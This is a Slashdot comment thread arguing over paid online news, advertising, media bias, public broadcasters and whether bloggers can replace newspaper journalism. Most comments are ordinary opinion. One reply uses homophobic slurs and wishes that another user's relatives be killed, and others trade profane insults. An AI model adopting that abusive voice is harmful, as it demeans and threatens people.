This is true if your "distribution" refers only to delivery. But you seem to have forgotten the part about the collection, organization, editing, and formatting of your information product prior to delivery. So, yes, most information is free. Having someone gather it up for you is not. Water is free too, but for some reason I still get a water bill every month...and it's not just for the pipes.

Re:Bye, bye.

[phoomp]

No, ads don't pay for the *information*, they pay for the *distribution*. You're still buying in to the con that there is a cost to information. If there was, you'd have to charge for sharing with your friends the information you just read from a newspaper.

Re:Bye, bye.

[anyaristow]

My neighbor (also a computer programmer) quizzed the same paperboy about the features provided by a newspaper.

What does being a programmer have to do with his opinion of the paper? Are you saying that makes him smart and clever and witty? That's what all coders seem to think of themselves, and now apparently other coders. It's kinda creepy.

My neighbor (also a CIO) quizzed the same coder about capabilities provided by the programming staff. "Does it work for $40 per day? Does it work Mumbai hours so I don't have to hear its voice? Does it treat the rest of the staff with respect? Does it keep its opinion to itself? Does it not pretend to know everything about everything? Does it not want want all IP to be cost-free while ironically collecting a salary creating IP?" And so on and so forth.

You know, if coding was all done in India, then a few years from now, I really don't think America would miss coders very much.

Re:Bye, bye.

[phoomp]

The cost of someone gathering it up is still a *distribution* cost which, again, is much easier (less costly) to do now.

Re:Bye, bye.

[teh kurisu]

I think you're the one buying into the con. Noise is free, information is not. Information needs to be found, extracted, interpreted, organised in a comprehensible format, fact checked, and presented in context (i.e. opposing points of view, background information).

If you had instead argued that The Sun and Fox News were distributing noise rather than information, you might have had a point.

Talking with your friends is not comparable. There is the possibility that your friends are talking shite. There's no guarantee that they're going to be coherent. They might only be presenting one side of a story.

Re:Bye, bye.

[teh kurisu]

What would your ideal advert be?

Perhaps ads that don't make you want to kick puppies also don't function particularly well as adverts. Or perhaps News Corp can't afford to alienate the puppy-kicking advertisers that it relies on financially.

Re:Bye, bye.

[blackest_k]

Here's my model of the only possible internet. You pay for services, including downloading all content. That means paying the 10 euro/mo or whatever for rapidshare if you want to download free projects (unless they can get donated bandwidth from a university). Commercial projects can support their own bandwidth needs. If you want quality tech news, subscribe to Ars Technica - they're not going to just work for free.

If thats the only possible Internet then whats this Internet we are using? By your reasoning it cant possibly work but it does.
You see there used to be a model very similar to what you propose. AOL and Compuserve had this thing called premium content which you paid extra for and they bombed.

It's actually fairly cheap to host content and the return on investment can be huge, even with very very low responses. Slashdot is an interesting example the best things to read on here are free although the man hours in creating the content is huge.

If sites are not making enough they are doing it wrong.

The problem the news sites are having is the same one the RIAA and MPIA are having, they have a mental block, they think everyone must pay but really its simpler - enough people must pay.

Re:Bye, bye.

[lxs]

So, yes, most information is free. Having someone gather it up for you is not

Increasingly it is. Newspapers rely less and less on press photographers for instance. No need to when you can put up camphone pictures from bystanders for free.

Sure the quality sucks, but the readers don't seem to care.

Re:Bye, bye.

[LanMan04]

Maybe they should do some research into ads that don't make me want to kick puppies./quote?
Kick the puppy and win a free iPod!

Re:Bye, bye.

[executivechaos]

Becoming so intrinsically reliant on media being delivered over incredibly sensitive and vulnerable protocols of transmission (more vulnerable than your paperboy and his delivery route every morning) doesn't make much sense to me.

I know online media is great, dynamic and full of selected content you want to read...but it's delivery relies on almost ten times as many nodes of transmission which is again reliant upon tons of electrical equipment (which don't like electromagnetic interference, bad storms or lightning strikes btw) as the number of nodes of transmission / equipment needed to bring you a physical news paper.

Of course there can be equipment failures at the press house, or the place can burn down or blow up or the paperboy is a crackaddict, but I think we can all agree, that there are many more opportunities for something to go wrong, when it comes to receiving the media online when compared to receiving a physical newspaper.

Also, you can archive physical news papers, clip, frame them...it's all been printed for you, and you've paid for it (well technically, you're paying a small percentage of a cost that has been heavily subsidized by the businesses and organizations who advertise in the paper but the point still stands none-the-less). With online media...it seems like now you're going to have to pay to view, and pay to get a printed copy (use your ink, use your paper, and use your electricity) and the advertisers are still subsidizing the cost of this media getting to you.

Seems like they're just looking for new ways to get you to pay more money for the same old product...same old game.

Re:Bye, bye.

[edremy]

News is better when it's controlled by tens of thousands of independent individuals, each providing a different viewpoint, than when it's controlled centrally.

This is high debatable. The problem is that some of the viewpoints that people are passionate about (and create tons of web pages/blogs/feeds about) are simply *wrong*. Not everything has two sides, and having to try and figure out the bullshit from the sanity is beyond the capabilities (and time) of most people. Sorry folks, but

• Obama was born in Hawaii
• 9/11 was caused by Islamic terrorists, not a government plot
• Vaccines do not cause autism
• The US landed astronauts on the moon
• The Earth is roughly 4.5 billion years old, and we are the result of a long process of evolution.

You'll find thousands of independent individuals with blogs that say otherwise. Without some relatively neutral individual calling them out (or beating the crap out of them, ala Buzz Aldrin) they'll take in a lot of people who are simply too gullible or uninformed to know better.

Re:Bye, bye.

[PRMan]

Use NoScript then.

I don't use ABP, because I think that blocking ALL ads isn't cool. But I really don't want every random site on the internet running code on my machine using the latest zero-day Microsoft or Flash bug either. So I use NoScript.

I don't see most ads, because they are served from another site using Javascript. But lately, some sites are showing static ads that do work with NoScript. That's fine. I really don't mind the static ads.

Re:Bye, bye.

[NoSleepDemon]

No, free is just something you're having trouble comprehending. The web is a massive human advancement, and could be a way for the human race to evolve. One of the most important factors of the internet's evolution into it's current form is that information is, mostly, free. And you want to bring it back down to some standard business model? Forgive me for sounding like an evangelic student, but seriously, go fuck yourself.

Re:Bye, bye.

[oenone.ablaze]

Where were they when we spent billions of government dollars on undeclared wars and racked up a huge deficit during the Bush years? Hypocrisy much?

Re:Bye, bye.

[immakiku]

But GP makes a good point that hell is not as fire and brimstone as popular culture would like us to believe. Every time I hear the phrase "when hell freezes over", it strikes a chord because the original "hell" has always been frozen.

Re:Bye, bye.

[modean987]

Talking with your friends is not comparable. There is the possibility that your friends are talking shite. There's no guarantee that they're going to be coherent. They might only be presenting one side of a story.

Really? And this is not comparable to Fox News how?

Re:Bye, bye.

[siloko]

The Times at one time was not owned by Murdoch. It was a serious newspaper. He bought it and the rot began.

True - the rot began when he took over and the paper shifted steadily rightwards politically and soon became a poor mans Telegraph. This was about 7 years ago. Since then it has definitely improved and now has a generally fair minded approach to content rather than as previously where they stuck on the Daily Mail goggles and parsed the results through a syllable multiplier.

Re:Bye, bye.

[ShieldW0lf]

The original Hel was the goddess of death to the Nordic pagans, who ruled over a domain entitled Hel, which was in Niflheim. Dante was on hallucinogenics.

Re:Bye, bye.

[MichaelJ]

You're still buying in to the con that there is a cost to information.

I'm sure all the reporters and editors who research, write, edit, and put together the the newspaper and news websites would be thrilled to hear that you feel they don't deserve to be paid for their efforts.

Re:Bye, bye.

[mdwh2]

but newspapers and large news sites don't just publish news, they edit and check it (at least in theory).

Heh. You really believe that?

Take Slashdot, for example.

Just because there exist other sites that have bad editorial doesn't mean that the newpapers and large news sites do check their facts, or are lacking bias. Furthermore, Slashdot summaries often are updated when people point out mistakes or bias. On top of that, the edits are clearly made, so you can see that the edit was made. In the mainstream media, on the rare occasions that they do acknowledge a mistake and fix it, the edit is done so that you have no idea that an edit was ever made.

At least with the BBC you can be reasonably sure they checked their facts and tried to present it in a more or less neutral way.

The BBC News is one of the better ones. But then, they're funded by a licence fee, so wouldn't be affected by the industry going out of business anyway.

Even the BBC News have problems. Only the other week there was a story claiming "First use" of a new UK law criminalising possession of adult images. In the second paragraph of the story, it turns out that "First use" was actually the weasel worded believed to be the first use. In the last paragraph, they admit that their only source of is some woman (who was the mother of a murdered woman who was in the news calling for the law, but she is no legal expert or authority on such matters). So there was no fact checking, a reliance on a dodgy source, and presenting one person's belief as fact.

And they were wrong.

It took me, a non-journalist, to point out the mistake and get the article fixed (I provided news stories of other cases - including an earlier one from the BBC themselves. They can't even check against their own stories!)

And note that I specify BBC News specifically. Other parts of the BBC (including the radio) sometimes have programmes on news topics that are full of bias.

It's also common for the BBC to reproduce Government-spin press releases as news, without any fact checking or seeking out alternate points of view. Then there is the common trend where papers copy stories off of each other, without any fact checking. Or the plagiarism from Wikipedia, without checking if the relevant information has a reference on Wikipedia, nor citing Wikipedia as the source.

And that's before we get to the likes of the tabloids.

Talking of citations, how many times do you see a source in the news? It's extremely rare. Yet here on Slashdot, the non-journalists always give sources, often several. On the rare occasions a story appears without any sources, it's rightly criticised.

Re:Bye, bye.

[Starayo]

I hate most ads that use flash. Any ad that flashes, blinks, rapidly changes colours or claims that I have won something. Get this disruptive bullshit out as well as intrusive adverts and I'll happily disable adblock. I don't block ads from project wonderful, because I've never seen a bad ad on there. It's the few ads that are exceedingly obnoxious that ruin it for almost every other advertiser, in my case.

I *do* click on ads that interest me. It's just that the ads that are an eyesore mean I'll block almost everything and not feel sorry about it.

Re:Bye, bye.

[Mateo_LeFou]

"what is the likelyhood that every community will have some citizen blogger covering the courthouse, the city council meetings, the school board meetings, etc. These are all things that local papers cover quite well."

Dude, what city do you live in? I'm moving. Here, without alteration or editing, are the Top News Stories in my local paper as of right now:
"Adopted Children's Trips to Homeland Helps Affirm Heritage"
"Veteran Recalls A-Bomb, Enola Gay"
"3 GCISD Schools Advance in Ratings"
"Muhm: Community Involvement Key to Victory"

Meanwhile, in my city, several multimillion-dollar development projects are underway which will impact the political balance of power and the economic texture of the whole place.

Re:Bye, bye.

[dup_account]

If you want that, then make the newspapers non-profit, or not-for-profit entities. As long as they are trying to turn a profit, you're going to continue to get what you get. As a non/not-profit organization, then it's about making just enough to survive, but allows some freedom.

Re:Bye, bye.

[kilfarsnar]

You talk as though we have an informed citizenry now (see my sig for signs of bias). The vast majority of Americans get their news from one of the corporate outfits. Those outfits report what they want people to hear and don't report what they don't want them to hear. MaskedSlacker has it right to say that reducing corporate control of media is a very important thing these days.

Big Media is currently a tool used by corporations to shape public opinion to their liking. We would be better off with a bunch of smaller outfits gathering the news (maybe like talkingpointsmemo.com) and providing a diversity of views, rather than a small group deciding what the news is according to a narrow definition of acceptable discourse.

Re:Bye, bye.

[siloko]

Information needs to be found, extracted, interpreted, organised in a comprehensible format, fact checked, and presented in context

So what your saying is information needs to be processed before it has value - you may have a point, but one which is indistinguishable from the one you are replying to. Information exists, the processing of that information potentially adds value, and value that is potentially chargeable.

Talking with your friends is not comparable. There is the possibility that your friends are talking shite.

Obviously you are confused as to what constitutes information - there is no qualitative hoops that data needs to jump through before it is classed as 'information'!

Re:Bye, bye.

[h4rm0ny]

I agree and its refreshing to hear some realism on Slashdot. There are some instances of what you describe, but they're quite specialised. For example, there is Stratfor which has a very specific range of news / analysis. It's expensive unfortunately, but it targets businesses and people with financial interests and thus, though lacking in moral perspective, it tends to be accurate and in depth. Fox News, the Daily Mail (UK newspaper) might be targeting the public and therefore can get away with touting their shareholder's bias, but someone selling news to the financial system has to keep fairly accurate or they wont stay in business. (Not saying things like Stratfor don't have a bias, but its an entirely different sort to the mass media).

I would be quite willing to pay a reasonable subscription for a decent news service. As traditional newspaper sales begin failing to support news reporting, I think this will be a requirement.

Re:Bye, bye.

[slim]

Everyone clamoring for Free.. that's just not the way the world works. Toss em out -you wont need masses of readers anymore to support ad revenue- and let us pay you a fair price for the service you tender. Why would someone even think that they would make their newspapers available for free?

There are plenty of free print newspapers. There's a good chapter in Chris Anderson's book 'Free' about the economics of this. The Village Voice couldn't sustain its business while it had a cover price, and had to go free.

He says there's hardly any periodical that makes money on cover price or subscription fees. Advertising is the primary revenue stream.

Cover prices are really only there to assure advertisers that the readership is focussed and engaged. That is to say, if I pay £3.15 for a copy of New Scientist, or £100 for a subscription, it hardly puts a dent in their production costs - but it shows potential advertisers that the circulation figures are made up of people committed enough to science and technology that they're willing to stump up cash.

Now, online, as Google has showed, it's easy to target advertising. If newspaper websites can't earn enough with ads, they're not doing smart enough targeting, or they're not charging enough. Of course, they're in a marketplace, so ad pricing gets forced down. I guess a few newspapers have to go out of business in order to push the ad prices back up.

Unless... unless... ad prices are low because people just don't want quality news that badly. In which case, if we think society needs quality news, charity or the public purse might have to come into play.

Re:Bye, bye.

[scarboni888]

You know what I'm really getting sick and tired of all these old-timers telling me I should pay for things. Get over it man - free is here to stay.

Re:Bye, bye.

[cayenne8]

"You know, if newspapers disappeared tomorrow, then a few years from now, I really don't think America would miss them very much."

But what about the coupons for the grocery store? What are you gonna use to start the charcoal for the grill?

:)

Seriously, it is something I like. I only take a Sunday paper, mind you, but, I enjoy getting up on Sundays, brewing a little coffee, putting a little booze in it, and then sit and read the paper. I like going through all the ad inserts, to see what is on sale around town (especially blank CD's and DVD's on sale), and I do actually like to clip grocery store coupons. I make plenty of money, but, I never sneer at saving a buck.

I'll be sad to see the newspapers go away.

Re:Bye, bye.

[Shinmizu]

Yeah, but Korben Dallas kills Snape at Nakatomi Plaza with gravity.

Re:Bye, bye.

[Jewbird]

So what you're saying is that we should put you in the category of people that just don't get it?

So what you're saying is that we should put you in the category of people who can't read and are stupid? Musicians and artists struggled for the sake of their art before. Now they can't make a dime because of faggot shitheads like you and unlike piss pots, which we don't need because we now have toilets, there's nothing to replace music with. If I had my way, everyone related to you would be killed in the dead of night with a blunt object. It's the only way to efficiently allocate the resources of society to people who aren't faggot pieces of shit.

Re:Bye, bye.

[geekoid]

I can''t believe I avoided knowing that, just started reading the book, and some jerkwad on /. ruins it for me.

Dick.

Re:Bye, bye.

[drsquare]

I don't know what business model they should come up with

So, a big long post telling him he's wrong, without actually coming up with any ideas yourself which would prove him wrong.

Funny how all the posts whining that 'information wants to be free', without any understanding of how the world of news actually works, are all getting +5 insightful. Maybe you expect the news to be created by magic fairies from candyland.

Re:Bye, bye.

[geekoid]

You should check out public broadcasting.

PBS does some great news pieces.

Here in Oregon, OPB is excellent.

Re:Bye, bye.

[drsquare]

You do realise that print newspapers subsidise online news? When there is only declining ad revenue left, there'll be nothing but bloggers waiting to copy stories from agencies that don't exist anymore.

Maybe news can be produced by charities, or we can all rely on state broadcasters.

Re:Bye, bye.

[geekoid]

Google seems to do the ads well. They're relevant(usually), not annoying.
In short, they capture interested eyes.

Re:Bye, bye.

[bbernard]

"Here's my model of the only possible internet. You pay for services, including downloading all content. That means paying the 10 euro/mo or whatever for rapidshare if you want to download free projects (unless they can get donated bandwidth from a university). Commercial projects can support their own bandwidth needs. If you want quality tech news, subscribe to Ars Technica - they're not going to just work for free."

While I have no doubt an equilibrium will be reached, the assumption that all Internet activity will be fee based seems to forget a number of different factors, the most important of which is the reality that my income is finite. I already make decisions on my Internet habits based on money--for instance I bought a cheap laptop and slapped a free OS on it instead of buying a Macintosh, and I have chosen not to pay for an account on either FARK or Slashdot as of yet.

So yes, in the near term I will not be visiting any Murdoch owned websites based on the fact that I will choose not to pay for them. I will be able to do this for free so long as other outlets with the same news/facts/data are available to me. This may include systems as antique as AM radio, which is the other part that seems to get forgotten on the Internet--it's not the only game in town, even as other forms of media are shrinking.

Re:Bye, bye.

[evilwraith]

Harry Potter Multipass? I got nothing.

Re:Bye, bye.

[geekoid]

Computer programmers like that is why everyone thinks we are dicks.

If I were that paper boy, I'd ask:
"Can your media delivery save you money?"
I get the Sunday paper, becasue for 2 bucks I save about 100 bucks a week on items regularly purchase. Coupons.

If I were the paper boy, I'd also egg his car~

Re:Bye, bye.

[geekoid]

It could ahve been socially valuable if the focused on the drub abuse in detail.

Instead, the city of LA is footing the bill for a 4 million dollar funeral.
The Mayor of that city is a moron.

Re:Bye, bye.

[rgarbacz]

As far as I see no one forbids Murdoch charging for its news, people just say that he will not do any money out of it.
Everyone is free to create any business model one wishes, unless he expects people to be forced to use his business model to guarantee his profit. The government should take care, that the playground is equal for everybody, and that the consumers have a choice, I mean the real choice. Of course no one should be taxed for the fact that one exists and breaths.
If you want to charge for the air you can try, but you cannot forbid people breath, if you want to charge for news, you can do it, but people are free to communicate, since the events which happen are nobody's property. The history belongs to everyone, so nobody can claim exclusive rights to it. One can claim rights to the media, delivery, etc. but not the history.
Stone-tool makers and blacksmiths also went out of business, maybe some day also programmers (who knows).

BTW. If someone wants to give something for free, it is also his very right to do this.

Re:Bye, bye.

[MeatBag PussRocket]

for that matter, nobody has yet to explain to me why a serious news media outlet has to be a for profit business. why? what is so fundamentally necessary about profit for articulating and disseminating news? when you throw profit into the mix you get agendas. there are thousands of non-profit organizations that provide reliable services to their clients. i'm not saying that moving journalism to the non-profit business model would fix journalism, it dosent. while i think its halfway decent, NPR is certainly far from perfect as a news outlet and i think we could all agree on that. however, i think profit is a corrupting influence and anything that is worth making an institution about, be it healthcare, journalism, social services, etc. these are things that ostensibly _should_ be done by people who love to do them _because_ they love to do them, not because they want to climb a corporate ladder. if you have a physician who is practising medicine in order to get rich, stay away from him, he obviously cares about money more than healthcare, i'd rather find a doctor who loves to make people healthy and loves medicine more than money. journalism follows the same reasoning, if Murdoch is in business to make money (which he unashamedly is) then there is no question that the quality of his work is secondary to the profit it derives.

the question isint whether or not the end user should have to pay for news media, its _why_ an end user should have tp pay for media (of any sort) i frankly have no interest in lining peoples pockets, but i will definitly pay for them to improve the quality of the services they deliver to me. a non-profit busniess model is about the only way i can be sure of that.

Re:Bye, bye.

[Tetsujin]

Yeah, but Korben Dallas kills Snape at Nakatomi Plaza with gravity.

And then he has a nice chat over the radio with Carl Winslow about his plans for a reconciliation with Ginger Heffman...

It was really great at the end when Carl shot that guy and he was like, "Thank you Topper, I can kill again!"

Re:Bye, bye.

[Tetsujin]

Computer programmers like that is why everyone thinks we are dicks.

If I were that paper boy, I'd ask:
"Can your media delivery save you money?"
I get the Sunday paper, because for 2 bucks I save about 100 bucks a week on items regularly purchase. Coupons.

Man, you must buy a lot of coupons!

Re:Bye, bye.

[geekoid]

define "proper journalists"?

Re:Bye, bye.

[Anonymous Coward]

No. OPB is not excellent. They exhibit a significant left-wing bias in their reporting. They get complaints about it regularly enough that a year or so ago they ran a campaign looking for input on how they could appear to be less biased. It was just a PR stunt though, nothing has changed. NPR has a similar liberal bias problem. It is impossible to remove bias from the news since you would have to remove the bias from the people collecting and reporting the news. This means that the only hope you have at finding balance is to read or listen to news from companies across the political spectrum and draw your own conclusions.

Re:Bye, bye.

[shoemilk]

At least now FOX provides the alternate "we need less government" viewpoint.

How? The last time I saw FOX News, they were talking about some racist that shimmied up a flag pole and ripped down a Mexican flag outside of a Mexican restaurant because it was flying above the American flag. They wanted laws in acted so that would be illegal to fly another country's flag higher than America's (this was a year ago, I don't live in America and only go back once a year).

To me, that's worse than trying to nationalize health care or social security or whatever beneficial program that they rave against. When I hear "less government" I always think it means getting rid of the nanny state (drug laws, forcing ID in science classes, making a law on how you have to fly your flags, keeping gay marriage illegal), unfortunately, the people spouting on about "less government" just want it out of the way so their greedy asses can rob people without being bothered (Enron et al.).

Give me someone that wants to get government out of my life, not out of my pocket.

Re:Bye, bye.

[shoemilk]

Oh, and it looks like you're going to have to change you sig.

Re:Bye, bye.

[afidel]

Here's mine:
RECENT STORIES
* Demonstrators protest possible closing of Summa hospital - 8.6
* Feeding time a frenzy for piglet litter of 11 - 8.6
* New Medina police chiefâ(TM)s arrival pushed back - 8.6
* Brunswick FD asks Sutton for funding help from feds - 8.6

So we have: local impact, human interest, local impact, local impact.
Are those the most pressing stories? Other than the hospital closing, probably not. Do they respresent the kind of local government focused reporting I was talking about, I would say so.

Re:Bye, bye.

[b1ad3runn3r]

Do you have any other suggestions for good non-fiction books?

Re:Bye, bye.

[pauljlucas]

News is better when it's controlled by tens of thousands of independent individuals, each providing a different viewpoint....

Nobody is going to read tens of thousands of news items and try to determine the merits of each. Additionally, the truly good ones will be lost amongst the noise.

Re:Bye, bye.

[mayberry42]

Oh, and since I'm on a roll, Snape kills Dumbledor ;)

Well, good thing I finished reading the book a few hours ago ;-)

Re:Bye, bye.

[DragonWriter]

I don't expect newspapers to be available for free on the internet--at least I don't expect anything that resembles the sunday print edition of the NYT to be there for free. The problem is that there is no effective way to charge for them the way there is for physical newspapers.

Charging for most physical general-audience newspapers is mostly just a way of getting statistics on people who probably actually read a significant portion of the newspaper (on the theory that they must be doing so if they are paying for it) so that newspaper publishers can sell ads; it isn't the main revenue stream. On the internet, there are better and more direct ways of tracking whether ads get seen and whether they work, which means there isn't a whole lot of reason to charge the readers (who are, after all, the main product the newspaper is selling) in addition to the advertisers (who are, even for print newspapers, the main customer the paper is serving and its main source of revenue.)

Re:Bye, bye.

[HeronBlademaster]

What does being a programmer have to do with his opinion of the paper?

Programmers are far more likely to care about features provided by RSS feeds than your average American. Thus, I was simply providing context for why my neighbor likes those features.

However, once these types of programs become commonplace (my wife uses them now, and she hates computers), there will be very few reasons left to print newspapers.

Also, your "programming staff" example is not at all equivalent :P The average outsourced program ends up suckier than the average locally produced program (as I'm sure we're all aware); however, the average online news source is no suckier than your average newspaper.

Re:Bye, bye.

[default luser]

I'll be sad to see the newspapers go away.

You can't make newspapers go away.

They just keep coming back, each time with more ads and less content. Just take a look at the Sun Plus that gets delivered to my doorstep every week (without my consent), or the Pennysaver that comes in my mailbox (along with tons of inserts). Inserts, ads and listings will always find a way to reach you, even if the big newspapers die!

And if you want grocery coupons, sign-up on your favorite store's website, and they'll send you their entire Sunday insert via email. Really, who needs paper anymore?

Re:Bye, bye.

[Chris Burke]

and get humiliated by prank sources (looking at you Dan Rather).

Hey man, lay off Dan Rather. Yes he fucked up, and yes he should have admitted this as soon as it was obvious instead of sticking to his unloaded guns. But the fact is that he did do actual investigative journalism to get that story, and he did do his best to confirm the authenticity of his information. He went back to the person who would have typed the letter and asked her "did you type this" and she said "yes." Should he have done typographic analysis on the document versus samples from the typewriter it was hypothetically written on? With the benefit of hindsight, yes, of course. Is not thinking to do so in any way the same as blatantly plagiarizing or simply regurgitating press releases? No.

The point I'm trying to make is that Dan Rather is from the Old School of Journalism where journalism was not just a pretentious name for marketing like it is now. Yes actual journalists can fuck up, make mistakes, and exercise poor judgment. That's not the same as deliberately abandoning the principles of journalism from the get-go and never trying to be anything more than a mouth piece collecting a pay check. You can't lump the two groups together. By doing so, you condemn all potential and hypothetical journalists, even those you think are better because they are anything but infallible.

I mean, you use Slashdot as an example of something better. But Slashdot -- and individual editors, contributors, etc -- fuck up constantly.

Re:Bye, bye.

[Brian Gordon]

Well said. And as you said, it's a long controlled fall; sucking in billions of idiot investors' money as each company eventually fails is not a viable long-term solution!

Re:Bye, bye.

[Brian Gordon]

Only the pipe infrastructure providing the bandwidth really has to be paid, and guess what? I pay my ISP...

You pay for your little 256kbps DSL line but sites incur massive costs paying for high bandwidth connections.

Re:Bye, bye.

[Elbowgeek]

No, tens of thousands of individuals with an agenda gives you a lot of rumour and innuendo, far more biased than what we have now. In the same way that communism seems like a great idea until you add humans to the equation, this utopia of free information will just end up in the same mess these things always do.

The older newspaper model does work, in that you have individuals (editors) responsible for producing what should be unbiased news. That individual can then be held to account for *not* producing unbiased news if the need arises. Contrast that with ten thousand semi-monkeys banging on keyboards farting out information which suits their personal agendas, each of which gets passed on as absolute fact by brain dead bloggers, and you have chaos.

Right now, if we deem Fox News to be unreliable and biased, we can call, ultimately, Rupert Murdoch to account for this. In a world in which news is spread with little accountability for it's provenance, we'd have a very hard time tracking down the individuals or groups responsible.

Re:Bye, bye.

[NoOneInParticular]

At least with the BBC you can be reasonably sure they checked their facts and tried to present it in a more or less neutral way.

Emphasis mine. The BBC is however a fully government owned media source that is funded by tax-payer's money. It is not a corporate controlled rag such as the Murdoch drivel.

Re:Bye, bye.

[grumpyman]

News is better when it's controlled by tens of thousands of independent individuals, each providing a different viewpoint, than when it's controlled centrally.

.
Like CowboyNeal?

Re:Bye, bye.

[AmiMoJo]

The BBC is not government owned, it is completely independent. It is funded by the license fee, which some people claim is a tax, but the government is explicitly not allowed to interfere with it's running.

Re:Bye, bye.

[T Murphy]

Flint-lock manufacturers lost out to Smith+Wesson, monks lost out to Gutenburg, buggy makers lost to Ford. Technologies get replaced and updated, not just thrown out.

Many newspapers fund reliable reporters, while blogs so far are rather hit-and-miss. Tech sites are easier to maintain for little or no cost as anyone can try out some software or hardware and post a story about it. As for real-world events, there are many accounts and there is little one can do to sift through them or even just find them. Information out of Iran has been largely biased, unreliable and scant- we had plenty of blogs and twitter accounts, but thanks to a lack of professional reporters on site, we had to rely on a few people deemed more trustworthy and capable of sorting out more of the facts, and I still don't really know what happened. Not to mention it took a while for information to get organized in a useful way- and that was for a major event affecting an entire country.

Being from Chicago, I am familiar with how important investigative reporters can be when they have the weight of a big newspaper behind them. We won't have another Mike Royko if we don't have newspapers that can support them. We won't even have the helpful Problem Solver column, where one of the reporters uses the newspaper's weight to get businesses to stop dragging their feet when a customer was wronged. Sure, there may be an occasional blogger with that kind of influence, but I have yet to learn of a blog the average person could recognize as well as the New York Times or Chicago Tribune. Until you have that big of a name, you don't have enough influence to scare businesses or politicians into action.

Maybe newspapers will die out eventually, but unless a reliable system of reporters* can remain - reporters that can dig up the secrets corrupt politicians are hiding and seek out the truth in much debated events- we will be at a great loss when they do go away. The Chicago Tribune loves to rail against corruption, and currently has a countdown to the election to draw attention to the people's chance to oust some politicians widely seen to have gone too far. I know as long as the Tribune is in business our politicians are being watched. It isn't a perfect system, but I would want nothing to do with Chicago if there were nothing but a few bloggers to try and keep the pols in line.

*Yes, there are plenty of reporters as bad or worse than your typical blogger, but on average the quality is better than the blogs, and at their best I've never seen a blog approach what newspapers can do.

Re:Bye, bye.

[Skuld-Chan]

Proof?

Re:Bye, bye.

[Orange Crush]

You'll still get your coupons. With newspaper readership dwindling, advertisers will just shift their coupons and such online and into your mailbox.

Re:Bye, bye.

[Orange Crush]

Nobody is going to read tens of thousands of news items and try to determine the merits of each. Additionally, the truly good ones will be lost amongst the noise.

No one person will, no, but search engine and social media tech are up to the challenge. For good or ill, the future of the press is going to look a lot more like Google News or Reddit than the Times.

Re:Bye, bye.

[theshowmecanuck]

As you point out, bloggers are answerable to noone and will give their own opinions... But for-profit companies are answerable to their profit margins, and will report whatever makes them the most profit

First, you shoot yourself in the foot right away: opinion is not journalism. It is opinion, not the reporting of facts. Second, people will not watch news that is suspect. I don't believe there is anyone who will willingly get their news from organizations that are known to lie. Yes Fox commentators spout blatantly right wing propaganda, but I have found that their news reporting by and large is pretty accurate. I don't watch it though because it is suspect to me. And that is why 'good' news organizations will exist, people like me will go to them because they have developed our trust. We know that their reporters are monitored and vetted, their stories are vetted, and accuracy and bias is important to them. Those new organizations prosper because of trust. Bloggers have nothing to vet them or ensure accuracy. At best, their data is not information, but is rather opinion.

And speaking of trust how do you know that whenever you go to the dentist he won't nick a good tooth with his polisher so that you have to come in to fix the cavity that will happen later on. You trust him because he/she has sworn an oath to take care of you and not hurt you. If they breach the oath or do something unethical they can lose their license.

How does that relate to journalism? Journalism, and journalism editors in particular live by a canon that says they must be truthful, accurate, and impartial. I know this is not everywhere, and I am not so naive as to think that corporate head offices, Murdock being one of the very worst offenders, doesn't try to influence what is reported. In fact we know that at least some of the his outlets verge on lying. But because of the oath, the lies gain more prominence than they would otherwise. A profession that has a code of ethics like this, makes a big deal of transgressions, so that we know about them. Again, bloggers have nothing to do this so that others know what is true or not. That is why opinion is not journalism and is not real 'news'.

In the case of Rupert Murdock, we often are presented with rabidly right wing 'journalists' who are misinformed due to their own narrow view point, spout untruths that they themselves believe since it is easy for them to believe in the things they want to believe in without verifying what they say. I phrased the previous sentence the way I did, including putting the word 'journalists' in quotes, to highlight how many people, due to what I can only ascribe to weak thinking, are now incorrectly labelling commentating as journalism, and commentators or pundits as journalists. Much of this is not journalism (sorry John Stewart ;-) ) and the people commentating are not journalists. A good example is Bill O'Reilly (a ocmmentator) who announced to his listeners around 2004, that Canada's federal government was running a deficit for years when in fact it was maintaining a balanced budget and in fact had budget surpluses for years. Don't mistake these commentators for journalists. They aren't. Unfortunately as you yourself evidence, people are also incorrectly ascribing the title of journalism to blogs. Very few bloggers if any, keep their own feelings out of what they write, which lands them too, in the boat called commentary. I do listen and watch a wide range of sources so that I can see, understand, and assess the various sources of news, form my own opinion on what is credible and what is not. So far, bloggers are at the very bottom of my list as to what is credible 'news'... I can't help it, I have to put 'news' in quotes when in conjunction with bloggers.

Real journalists are constantly subject to review by their colleagues (working for the same organization and otherwise) and the public. Their long term job security depen

Re:Bye, bye.

[StikyPad]

But cheap != free. Have you ever paid hosting costs for a large website, or run your own server farm? Me neither, but the shit is far from free. Hardware, software, IT personnel, electricity, bandwidth, designers, staff writers.. all of it costs money. And then there's, you know, the desire to actually make a profit.

Re:Bye, bye.

[mattwarden]

I wonder why no one rips on MSNBC?

Oh...

Re:Bye, bye.

[T Murphy]

The Daily Herald, the local-focused Chicago newspaper, recently ran a series on red light cameras to expose how they are used as money makers and do nothing for safety. While I was already aware of the situation, it was a very informative series and I'm sure many of their readers had no clue how their towns were abusing "safety" for profit.

The Chicago Tribune published a series of articles about clout-induced admissions at University of Illinois, and now both the entire Illinois university sytem and Chicago school system are under federal investigation. The Chicago Tribune constantly publishes stories about public corruption and pulls politicans' secrets into the sunlight. You know they do things right when one of the charges against Blagojevich is he tried to get a number of people at the Tribune fired. Not to mention one of the most famous muckracker journalists ever, Mike Royko, wrote for the Tribune. He moved to the Tribune to avoid Murdoch.

If you don't see useful reporting from newspapers either you aren't looking or you read the wrong papers. Yes, they all have some bias and infotainment filler, but there is still such a thing as a professional reporter.

Re:Bye, bye.

[MaskedSlacker]

Our Mayor isn't a moron, he's an autistic child.

Re:Bye, bye.

[MaskedSlacker]

I mean, you use Slashdot as an example of something better. But Slashdot -- and individual editors, contributors, etc -- fuck up constantly.

Yes, but slashdot has this section where we're talking right now. And the errors get brought up, made fun of, and discussed in a far more meaningful matter than any newspaper ever will. The summary itself? Hardly worth much. I'd say that part is the SAME as the current state of newspapers. The discussion? Worth a whole lot. And that is why I use Slashdot as an example of something better.

You can't lump the two groups together. By doing so, you condemn all potential and hypothetical journalists, even those you think are better because they are anything but infallible.

I don't condemn for not being infallible. Everyone makes errors. Including me. Its inescapable. I condemn them for pretending to be something they are not (which isn't infallible, but reliable/honest/doers of due diligence).

Re:Bye, bye.

[photomonkey]

Translation: "We have tons of traffic on our site that generates no revenue at all, so plans are in place to pare that back to core consumers that support our product."

